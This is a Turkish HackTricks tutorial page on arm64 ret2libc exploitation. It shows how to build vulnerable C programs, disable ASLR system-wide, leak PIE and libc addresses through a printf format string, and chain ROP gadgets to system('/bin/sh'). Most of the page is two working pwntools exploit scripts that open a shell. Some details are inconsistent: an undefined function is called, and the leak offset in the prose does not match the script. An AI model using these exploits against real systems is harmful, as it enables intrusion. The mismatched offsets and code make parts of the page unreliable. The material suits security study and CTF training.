Ret2lib + Printf leak - arm64

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Ret2lib - ROP ile NX atlatma (ASLR olmadan)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Derleyiciyi canary olmadan çalıştırın:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Offsetu bul

x30 offsetu

pattern create 200 kullanarak bir desen oluşturup bunu kullanarak pattern search $x30 ile offseti kontrol ederek görebiliriz ki offset 108 (0x6c) dir.

Main fonksiyonunun ayrıştırılmış haline baktığımızda, doğrudan printf'e atlamak için atlamak istediğimiz komutun adresine 0x860'den yüklendiği yerden olan ofseti görebiliriz:

Sistem ve /bin/sh dizesini bul

ASLR devre dışı bırakıldığı için adresler her zaman aynı olacaktır:

Gadget'ları bul

x0 içinde /bin/sh dizesinin adresini bulmamız ve system'i çağırmanız gerekmektedir.

Rooper kullanarak ilginç bir gadget bulundu:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Bu cihaz, x0$sp + 0x18 adresinden yükleyecek ve ardından x29 ve x30 adreslerini sp'den yükleyip x30'a atlayacak. Bu cihaz sayesinde ilk argümanı kontrol edebilir ve ardından system'e atlayabiliriz.

Sızma

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASLR ve PIE bypass, yığın üzerinden printf sızıntıları ile

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Canary olmadan derleme yapın:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE ve ASLR ancak canary yok

  • Tur 1:

  • PIE sızıntısı stack'ten

  • Ana programa geri dönmek için bof kötüye kullanımı

  • Tur 2:

  • Stack'ten libc sızıntısı

  • ROP: ret2system

Printf sızıntıları

Printf çağrısından önce bir kesme noktası ayarlayarak, stack'te binary'ye geri dönülecek adreslerin ve ayrıca libc adreslerinin bulunduğu görülebilir:

Farklı ofsetler deneyerek, %21$p bir binary adresi sızdırabilir (PIE bypass) ve %25$p bir libc adresi sızdırabilir:

Sızdırılan libc adresi ile libc'in başlangıç adresi arasındaki farkı çıkararak, sızdırılan adresin başlangıçtan ofseti 0x49c40 olarak görülebilir.

x30 ofseti

Bof aynı olduğu için önceki örneğe bakın.

Gadget'ları Bulma

Önceki örnekte olduğu gibi, x0 içinde /bin/sh dizesinin adresi olmalı ve system çağrılmalıdır.

Rooper kullanarak başka ilginç bir gadget bulundu:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Bu cihaz, x0$sp + 0x78 adresinden yükleyecek ve ardından x29 ve x30 adreslerini sp'den yükleyip x30'a atlayacak. Bu cihaz sayesinde ilk argümanı kontrol edebilir ve ardından system'e atlayabiliriz.

Sızma

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated